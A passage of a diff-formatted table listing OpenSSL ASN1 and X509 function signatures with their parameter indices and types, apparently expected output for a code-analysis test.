**,const unsigned char **,long) | | d2i_ASN1_BIT_STRING | 0 | ASN1_BIT_STRING ** | +| (ASN1_BIT_STRING **,const unsigned char **,long) | | d2i_ASN1_BIT_STRING | 1 | const unsigned char ** | +| (ASN1_BIT_STRING **,const unsigned char **,long) | | d2i_ASN1_BIT_STRING | 2 | long | +| (ASN1_BIT_STRING **,const unsigned char **,long) | | ossl_c2i_ASN1_BIT_STRING | 0 | ASN1_BIT_STRING ** | +| (ASN1_BIT_STRING **,const unsigned char **,long) | | ossl_c2i_ASN1_BIT_STRING | 1 | const unsigned char ** | +| (ASN1_BIT_STRING **,const unsigned char **,long) | | ossl_c2i_ASN1_BIT_STRING | 2 | long | +| (ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *) | | ASN1_BIT_STRING_set_asc | 0 | ASN1_BIT_STRING * | +| (ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *) | | ASN1_BIT_STRING_set_asc | 1 | const char * | +| (ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *) | | ASN1_BIT_STRING_set_asc | 2 | int | +| (ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *) | | ASN1_BIT_STRING_set_asc | 3 | BIT_STRING_BITNAME * | +| (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 0 | ASN1_BIT_STRING * | +| (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 1 | int | +| (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 2 | int | +| (ASN1_BIT_STRING *,unsigned char **) | | ossl_i2c_ASN1_BIT_STRING | 0 | ASN1_BIT_STRING * | +| (ASN1_BIT_STRING *,unsigned char **) | | ossl_i2c_ASN1_BIT_STRING | 1 | unsigned char ** | +| (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 0 | ASN1_BIT_STRING * | +| (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 1 | unsigned char * | +| (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 2 | int | +| (ASN1_BMPSTRING **,const unsigned char **,long) | | d2i_ASN1_BMPSTRING | 0 | ASN1_BMPSTRING ** | +| (ASN1_BMPSTRING **,const unsigned char **,long) | | d2i_ASN1_BMPSTRING | 1 | const unsigned char ** | +| (ASN1_BMPSTRING **,const unsigned char **,long) | | d2i_ASN1_BMPSTRING | 2 | long | +| (ASN1_ENUMERATED **,const unsigned char **,long) | | d2i_ASN1_ENUMERATED | 0 | ASN1_ENUMERATED ** | +| (ASN1_ENUMERATED **,const unsigned char **,long) | | d2i_ASN1_ENUMERATED | 1 | const unsigned char ** | +| (ASN1_ENUMERATED **,const unsigned char **,long) | | d2i_ASN1_ENUMERATED | 2 | long | +| (ASN1_ENUMERATED *,int64_t) | | ASN1_ENUMERATED_set_int64 | 0 | ASN1_ENUMERATED * | +| (ASN1_ENUMERATED *,int64_t) | | ASN1_ENUMERATED_set_int64 | 1 | int64_t | +| (ASN1_ENUMERATED *,long) | | ASN1_ENUMERATED_set | 0 | ASN1_ENUMERATED * | +| (ASN1_ENUMERATED *,long) | | ASN1_ENUMERATED_set | 1 | long | +| (ASN1_GENERALIZEDTIME **,const unsigned char **,long) | | d2i_ASN1_GENERALIZEDTIME | 0 | ASN1_GENERALIZEDTIME ** | +| (ASN1_GENERALIZEDTIME **,const unsigned char **,long) | | d2i_ASN1_GENERALIZEDTIME | 1 | const unsigned char ** | +| (ASN1_GENERALIZEDTIME **,const unsigned char **,long) | | d2i_ASN1_GENERALIZEDTIME | 2 | long | +| (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 0 | ASN1_GENERALIZEDTIME * | +| (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | const char * | +| (ASN1_GENERALIZEDTIME *,time_t) | | ASN1_GENERALIZEDTIME_set | 0 | ASN1_GENERALIZEDTIME * | +| (ASN1_GENERALIZEDTIME *,time_t) | | ASN1_GENERALIZEDTIME_set | 1 | time_t | +| (ASN1_GENERALIZEDTIME *,time_t,int,long) | | ASN1_GENERALIZEDTIME_adj | 0 | ASN1_GENERALIZEDTIME * | +| (ASN1_GENERALIZEDTIME *,time_t,int,long) | | ASN1_GENERALIZEDTIME_adj | 1 | time_t | +| (ASN1_GENERALIZEDTIME *,time_t,int,long) | | ASN1_GENERALIZEDTIME_adj | 2 | int | +| (ASN1_GENERALIZEDTIME *,time_t,int,long) | | ASN1_GENERALIZEDTIME_adj | 3 | long | +| (ASN1_GENERALSTRING **,const unsigned char **,long) | | d2i_ASN1_GENERALSTRING | 0 | ASN1_GENERALSTRING ** | +| (ASN1_GENERALSTRING **,const unsigned char **,long) | | d2i_ASN1_GENERALSTRING | 1 | const unsigned char ** | +| (ASN1_GENERALSTRING **,const unsigned char **,long) | | d2i_ASN1_GENERALSTRING | 2 | long | +| (ASN1_IA5STRING **,const unsigned char **,long) | | d2i_ASN1_IA5STRING | 0 | ASN1_IA5STRING ** | +| (ASN1_IA5STRING **,const unsigned char **,long) | | d2i_ASN1_IA5STRING | 1 | const unsigned char ** | +| (ASN1_IA5STRING **,const unsigned char **,long) | | d2i_ASN1_IA5STRING | 2 | long | +| (ASN1_INTEGER **,const unsigned char **,long) | | d2i_ASN1_INTEGER | 0 | ASN1_INTEGER ** | +| (ASN1_INTEGER **,const unsigned char **,long) | | d2i_ASN1_INTEGER | 1 | const unsigned char ** | +| (ASN1_INTEGER **,const unsigned char **,long) | | d2i_ASN1_INTEGER | 2 | long | +| (ASN1_INTEGER **,const unsigned char **,long) | | d2i_ASN1_UINTEGER | 0 | ASN1_INTEGER ** | +| (ASN1_INTEGER **,const unsigned char **,long) | | d2i_ASN1_UINTEGER | 1 | const unsigned char ** | +| (ASN1_INTEGER **,const unsigned char **,long) | | d2i_ASN1_UINTEGER | 2 | long | +| (ASN1_INTEGER **,const unsigned char **,long) | | ossl_c2i_ASN1_INTEGER | 0 | ASN1_INTEGER ** | +| (ASN1_INTEGER **,const unsigned char **,long) | | ossl_c2i_ASN1_INTEGER | 1 | const unsigned char ** | +| (ASN1_INTEGER **,const unsigned char **,long) | | ossl_c2i_ASN1_INTEGER | 2 | long | +| (ASN1_INTEGER *,int64_t) | | ASN1_INTEGER_set_int64 | 0 | ASN1_INTEGER * | +| (ASN1_INTEGER *,int64_t) | | ASN1_INTEGER_set_int64 | 1 | int64_t | +| (ASN1_INTEGER *,long) | | ASN1_INTEGER_set | 0 | ASN1_INTEGER * | +| (ASN1_INTEGER *,long) | | ASN1_INTEGER_set | 1 | long | +| (ASN1_INTEGER *,uint64_t) | | ASN1_INTEGER_set_uint64 | 0 | ASN1_INTEGER * | +| (ASN1_INTEGER *,uint64_t) | | ASN1_INTEGER_set_uint64 | 1 | uint64_t | +| (ASN1_INTEGER *,unsigned char **) | | ossl_i2c_ASN1_INTEGER | 0 | ASN1_INTEGER * | +| (ASN1_INTEGER *,unsigned char **) | | ossl_i2c_ASN1_INTEGER | 1 | unsigned char ** | +| (ASN1_NULL *) | | ASN1_NULL_free | 0 | ASN1_NULL * | +| (ASN1_NULL **,const unsigned char **,long) | | d2i_ASN1_NULL | 0 | ASN1_NULL ** | +| (ASN1_NULL **,const unsigned char **,long) | | d2i_ASN1_NULL | 1 | const unsigned char ** | +| (ASN1_NULL **,const unsigned char **,long) | | d2i_ASN1_NULL | 2 | long | +| (ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *) | | X509_PUBKEY_get0_param | 0 | ASN1_OBJECT ** | +| (ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *) | | X509_PUBKEY_get0_param | 1 | const unsigned char ** | +| (ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *) | | X509_PUBKEY_get0_param | 2 | int * | +| (ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *) | | X509_PUBKEY_get0_param | 3 | X509_ALGOR ** | +| (ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *) | | X509_PUBKEY_get0_param | 4 | const X509_PUBKEY * | +| (ASN1_OBJECT **,const unsigned char **,long) | | d2i_ASN1_OBJECT | 0 | ASN1_OBJECT ** | +| (ASN1_OBJECT **,const unsigned char **,long) | | d2i_ASN1_OBJECT | 1 | const unsigned char ** | +| (ASN1_OBJECT **,const unsigned char **,long) | | d2i_ASN1_OBJECT | 2 | long | +| (ASN1_OBJECT **,const unsigned char **,long) | | ossl_c2i_ASN1_OBJECT | 0 | ASN1_OBJECT ** | +| (ASN1_OBJECT **,const unsigned char **,long) | | ossl_c2i_ASN1_OBJECT | 1 | const unsigned char ** | +| (ASN1_OBJECT **,const unsigned char **,long) | | ossl_c2i_ASN1_OBJECT | 2 | long | +| (ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ATAV_create | 0 | ASN1_OBJECT * | +| (ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ATAV_create | 1 | ASN1_TYPE * | +| (ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ITAV_create | 0 | ASN1_OBJECT * | +| (ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ITAV_create | 1 | ASN1_TYPE * | +| (ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *) | | OCSP_id_get0_info | 0 | ASN1_OCTET_STRING ** | +| (ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *) | | OCSP_id_get0_info | 1 | ASN1_OBJECT ** | +| (ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *) | | OCSP_id_get0_info | 2 | ASN1_OCTET_STRING ** | +| (ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *) | | OCSP_id_get0_info | 3 | ASN1_INTEGER ** | +| (ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *) | | OCSP_id_get0_info | 4 | OCSP_CERTID * | +| (ASN1_OCTET_STRING **,X509 *) | | ossl_cms_set1_keyid | 0 | ASN1_OCTET_STRING ** | +| (ASN1_OCTET_STRING **,X509 *) | | ossl_cms_set1_keyid | 1 | X509 * | +| (ASN1_OCTET_STRING **,const ASN1_OCTET_STRING *) | | ossl_cmp_asn1_octet_string_set1 | 0 | ASN1_OCTET_STRING ** | +| (ASN1_OCTET_STRING **,const ASN1_OCTET_STRING *) | | ossl_cmp_asn1_octet_string_set1 | 1 | const ASN1_OCTET_STRING * | +| (ASN1_OCTET_STRING **,const unsigned char **,long) | | d2i_ASN1_OCTET_STRING | 0 | ASN1_OCTET_STRING ** | +| (ASN1_OCTET_STRING **,const unsigned char **,long) | | d2i_ASN1_OCTET_STRING | 1 | const unsigned char ** | +| (ASN1_OCTET_STRING **,const unsigned char **,long) | | d2i_ASN1_OCTET_STRING | 2 | long | +| (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 0 | ASN1_OCTET_STRING ** | +| (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 1 | const unsigned char * | +| (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 2 | int | +| (ASN1_OCTET_STRING *,X509 *) | | ossl_cms_keyid_cert_cmp | 0 | ASN1_OCTET_STRING * | +| (ASN1_OCTET_STRING *,X509 *) | | ossl_cms_keyid_cert_cmp | 1 | X509 * | +| (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 0 | ASN1_OCTET_STRING * | +| (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 1 | const unsigned char * | +| (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 2 | int | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 0 | ASN1_PCTX * | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | unsigned long | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 0 | ASN1_PCTX * | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | unsigned long | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 0 | ASN1_PCTX * | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | unsigned long | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 0 | ASN1_PCTX * | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | unsigned long | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 0 | ASN1_PCTX * | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | unsigned long | +| (ASN1_PRINTABLESTRING **,const unsigned char **,long) | | d2i_ASN1_PRINTABLESTRING | 0 | ASN1_PRINTABLESTRING ** | +| (ASN1_PRINTABLESTRING **,const unsigned char **,long) | | d2i_ASN1_PRINTABLESTRING | 1 | const unsigned char ** | +| (ASN1_PRINTABLESTRING **,const unsigned char **,long) | | d2i_ASN1_PRINTABLESTRING | 2 | long | +| (ASN1_SCTX *) | | ASN1_SCTX_get_app_data | 0 | ASN1_SCTX * | +| (ASN1_SCTX *) | | ASN1_SCTX_get_flags | 0 | ASN1_SCTX * | +| (ASN1_SCTX *) | | ASN1_SCTX_get_item | 0 | ASN1_SCTX * | +| (ASN1_SCTX *) | | ASN1_SCTX_get_template | 0 | ASN1_SCTX * | +| (ASN1_SCTX *,void *) | | ASN1_SCTX_set_app_data | 0 | ASN1_SCTX * | +| (ASN1_SCTX *,void *) | | ASN1_SCTX_set_app_data | 1 | void * | +| (ASN1_SEQUENCE_ANY **,const unsigned char **,long) | | d2i_ASN1_SEQUENCE_ANY | 0 | ASN1_SEQUENCE_ANY ** | +| (ASN1_SEQUENCE_ANY **,const unsigned char **,long) | | d2i_ASN1_SEQUENCE_ANY | 1 | const unsigned char ** | +| (ASN1_SEQUENCE_ANY **,const unsigned char **,long) | | d2i_ASN1_SEQUENCE_ANY | 2 | long | +| (ASN1_SEQUENCE_ANY **,const unsigned char **,long) | | d2i_ASN1_SET_ANY | 0 | ASN1_SEQUENCE_ANY ** | +| (ASN1_SEQUENCE_ANY **,const unsigned char **,long) | | d2i_ASN1_SET_ANY | 1 | const unsigned char ** | +| (ASN1_SEQUENCE_ANY **,const unsigned char **,long) | | d2i_ASN1_SET_ANY | 2 | long | +| (ASN1_STRING *) | | ASN1_PRINTABLE_free | 0 | ASN1_STRING * | +| (ASN1_STRING *) | | ASN1_STRING_data | 0 | ASN1_STRING * | +| (ASN1_STRING *) | | DIRECTORYSTRING_free | 0 | ASN1_STRING * | +| (ASN1_STRING *) | | DISPLAYTEXT_free | 0 | ASN1_STRING * | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_ASN1_PRINTABLE | 0 | ASN1_STRING ** | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_ASN1_PRINTABLE | 1 | const unsigned char ** | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_ASN1_PRINTABLE | 2 | long | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_DIRECTORYSTRING | 0 | ASN1_STRING ** | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_DIRECTORYSTRING | 1 | const unsigned char ** | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_DIRECTORYSTRING | 2 | long | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_DISPLAYTEXT | 0 | ASN1_STRING ** | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_DISPLAYTEXT | 1 | const unsigned char ** | +| (ASN1_STRING **,const unsigned char **,long) | | d2i_DISPLAYTEXT | 2 | long | +| (ASN1_STRING **,const unsigned char *,int,int,int) | | ASN1_STRING_set_by_NID | 0 | ASN1_STRING ** | +| (ASN1_STRING **,const unsigned char *,int,int,int) | | ASN1_STRING_set_by_NID | 1 | const unsigned char * | +| (ASN1_STRING **,const unsigned char *,int,int,int) | | ASN1_STRING_set_by_NID | 2 | int | +| (ASN1_STRING **,const unsigned char *,int,int,int) | | ASN1_STRING_set_by_NID | 3 | int | +| (ASN1_STRING **,const unsigned char *,int,int,int) | | ASN1_STRING_set_by_NID | 4 | int | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long) | | ASN1_mbstring_copy | 0 | ASN1_STRING ** | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long) | | ASN1_mbstring_copy | 1 | const unsigned char * | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long) | | ASN1_mbstring_copy | 2 | int | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long) | | ASN1_mbstring_copy | 3 | int | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long) | | ASN1_mbstring_copy | 4 | unsigned long | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 0 | ASN1_STRING ** | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 1 | const unsigned char * | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 2 | int | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 3 | int | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 4 | unsigned long | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 5 | long | +| (ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long) | | ASN1_mbstring_ncopy | 6 | long | +| (ASN1_STRING *,const ASN1_STRING *) | | ASN1_STRING_copy | 0 | ASN1_STRING * | +| (ASN1_STRING *,const ASN1_STRING *) | | ASN1_STRING_copy | 1 | const ASN1_STRING * | +| (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 0 | ASN1_STRING * | +| (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 1 | const void * | +| (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 2 | int | +| (ASN1_STRING *,int) | | ASN1_STRING_length_set | 0 | ASN1_STRING * | +| (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | int | +| (ASN1_STRING *,unsigned int) | | ossl_asn1_string_set_bits_left | 0 | ASN1_STRING * | +| (ASN1_STRING *,unsigned int) | | ossl_asn1_string_set_bits_left | 1 | unsigned int | +| (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 0 | ASN1_STRING * | +| (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 1 | void * | +| (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 2 | int | +| (ASN1_T61STRING **,const unsigned char **,long) | | d2i_ASN1_T61STRING | 0 | ASN1_T61STRING ** | +| (ASN1_T61STRING **,const unsigned char **,long) | | d2i_ASN1_T61STRING | 1 | const unsigned char ** | +| (ASN1_T61STRING **,const unsigned char **,long) | | d2i_ASN1_T61STRING | 2 | long | +| (ASN1_TIME *) | | ASN1_TIME_free | 0 | ASN1_TIME * | +| (ASN1_TIME *) | | ASN1_TIME_normalize | 0 | ASN1_TIME * | +| (ASN1_TIME **,const unsigned char **,long) | | d2i_ASN1_TIME | 0 | ASN1_TIME ** | +| (ASN1_TIME **,const unsigned char **,long) | | d2i_ASN1_TIME | 1 | const unsigned char ** | +| (ASN1_TIME **,const unsigned char **,long) | | d2i_ASN1_TIME | 2 | long | +| (ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *) | | unpack_revinfo | 0 | ASN1_TIME ** | +| (ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *) | | unpack_revinfo | 1 | int * | +| (ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *) | | unpack_revinfo | 2 | ASN1_OBJECT ** | +| (ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *) | | unpack_revinfo | 3 | ASN1_GENERALIZEDTIME ** | +| (ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *) | | unpack_revinfo | 4 | const char * | +| (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 0 | ASN1_TIME * | +| (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | const char * | +| (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 0 | ASN1_TIME * | +| (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | const char * | +| (ASN1_TIME *,int,long,time_t *) | | X509_time_adj_ex | 0 | ASN1_TIME * | +| (ASN1_TIME *,int,long,time_t *) | | X509_time_adj_ex | 1 | int | +| (ASN1_TIME *,int,long,time_t *) | | X509_time_adj_ex | 2 | long | +| (ASN1_TIME *,int,long,time_t *) | | X509_time_adj_ex | 3 | time_t * | +| (ASN1_TIME *,long) | | X509_gmtime_adj | 0 | ASN1_TIME * | +| (ASN1_TIME *,long) | | X509_gmtime_adj | 1 | long | +| (ASN1_TIME *,long,time_t *) | | X509_time_adj | 0 | ASN1_TIME * | +| (ASN1_TIME *,long,time_t *) | | X509_time_adj | 1 | long | +| (ASN1_TIME *,long,time_t *) | | X509_time_adj | 2 | time_t * | +| (ASN1_TIME *,time_t) | | ASN1_TIME_set | 0 | ASN1_TIME * | +| (ASN1_TIME *,time_t) | | ASN1_TIME_set | 1 | time_t | +| (ASN1_TIME *,time_t,int,long) | | ASN1_TIME_adj | 0 | ASN1_TIME * | +| (ASN1_TIME *,time_t,int,long) | | ASN1_TIME_adj | 1 | time_t | +| (ASN1_TIME *,time_t,int,long) | | ASN1_TIME_adj | 2 | int | +| (ASN1_TIME *,time_t,int,long) | | ASN1_TIME_adj | 3 | long | +| (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 0 | ASN1_TIME * | +| (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 1 | tm * | +| (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 2 | int | +| (ASN1_TYPE *) | | ASN1_TYPE_free | 0 | ASN1_TYPE * | +| (ASN1_TYPE **,const unsigned char **,long) | | d2i_ASN1_TYPE | 0 | ASN1_TYPE ** | +| (ASN1_TYPE **,const unsigned char **,long) | | d2i_ASN1_TYPE | 1 | const unsigned char ** | +| (ASN1_TYPE **,const unsigned char **,long) | | d2i_ASN1_TYPE | 2 | long | +| (ASN1_TYPE *,int,const void *) | | ASN1_TYPE_set1 | 0 | ASN1_TYPE * | +| (ASN1_TYPE *,int,const void *) | | ASN1_TYPE_set1 | 1 | int | +| (ASN1_TYPE *,int,const void *) | | ASN1_TYPE_set1 | 2 | const void * | +| (ASN1_TYPE *,int,void *) | | ASN1_TYPE_set | 0 | ASN1_TYPE * | +| (ASN1_TYPE *,int,void *) | | ASN1_TYPE_set | 1 | int | +| (ASN1_TYPE *,int,void *) | | ASN1_TYPE_set | 2 | void * | +| (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 0 | ASN1_TYPE * | +| (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 1 | unsigned char * | +| (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 2 | int | +| (ASN1_UNIVERSALSTRING **,const unsigned char **,long) | | d2i_ASN1_UNIVERSALSTRING | 0 | ASN1_UNIVERSALSTRING ** | +| (ASN1_UNIVERSALSTRING **,const unsigned char **,long) | | d2i_ASN1_UNIVERSALSTRING | 1 | const unsigned char ** | +| (ASN1_UNIVERSALSTRING **,const unsigned char **,long) | | d2i_ASN1_UNIVERSALSTRING | 2 | long | +| (ASN1_UTCTIME **,const unsigned char **,long) | | d2i_ASN1_UTCTIME | 0 | ASN1_UTCTIME ** | +| (ASN1_UTCTIME **,const unsigned char **,long) | | d2i_ASN1_UTCTIME | 1 | const unsigned char ** | +| (ASN1_UTCTIME **,const unsigned char **,long) | | d2i_ASN1_UTCTIME | 2 | long | +| (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 0 | ASN1_UTCTIME * | +| (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | const char * | +| (ASN1_UTCTIME *,time_t) | | ASN1_UTCTIME_set | 0 | ASN1_UTCTIME * | +| (ASN1_UTCTIME *,time_t) | | ASN1_UTCTIME_set | 1 | time_t | +| (ASN1_UTCTIME *,time_t,int,long) | | ASN1_UTCTIME_adj | 0 | ASN1_UTCTIME * | +| (ASN1_UTCTIME *,time_t,int,long) | | ASN1_UTCTIME_adj | 1 | time_t | +| (ASN1_UTCTIME *,time_t,int,long) | | ASN1_UTCTIME_adj | 2 | int | +| (ASN1_UTCTIME *,time_t,int,long) | | ASN1_UTCTIME_adj | 3 | long | +| (ASN1_UTF8STRING **,const unsigned char **,long) | | d2i_ASN1_UTF8STRING | 0 | ASN1_UTF8STRING ** | +| (ASN1_UTF8STRING **,const unsigned char **,long) | | d2i_ASN1_UTF8STRING | 1 | const unsigned char ** | +| (ASN1_UTF8STRING **,const unsigned char **,long) | | d2i_ASN1_UTF8STRING | 2 | long | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ASN1_item_ex_free | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ASN1_item_ex_free | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ASN1_item_ex_new | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ASN1_item_ex_new | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_free | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_free | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_init | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_init | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_get_choice_selector | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_get_choice_selector | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_ex_new_intern | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_ex_new_intern | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_ex_new_intern | 2 | OSSL_LIB_CTX * | +| (ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_ex_new_intern | 3 | const char * | +| (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 2 | int | +| (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 1 | const ASN1_ITEM * | +| (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 2 | int | +| (ASN1_VALUE **,const ASN1_TEMPLATE *) | | ossl_asn1_get_field_ptr | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_TEMPLATE *) | | ossl_asn1_get_field_ptr | 1 | const ASN1_TEMPLATE * | +| (ASN1_VALUE **,const ASN1_TEMPLATE *) | | ossl_asn1_template_free | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const ASN1_TEMPLATE *) | | ossl_asn1_template_free | 1 | const ASN1_TEMPLATE * | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *) | | ASN1_item_d2i | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *) | | ASN1_item_d2i | 1 | const unsigned char ** | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *) | | ASN1_item_d2i | 2 | long | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *) | | ASN1_item_d2i | 3 | const ASN1_ITEM * | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_ex | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_ex | 1 | const unsigned char ** | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_ex | 2 | long | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM 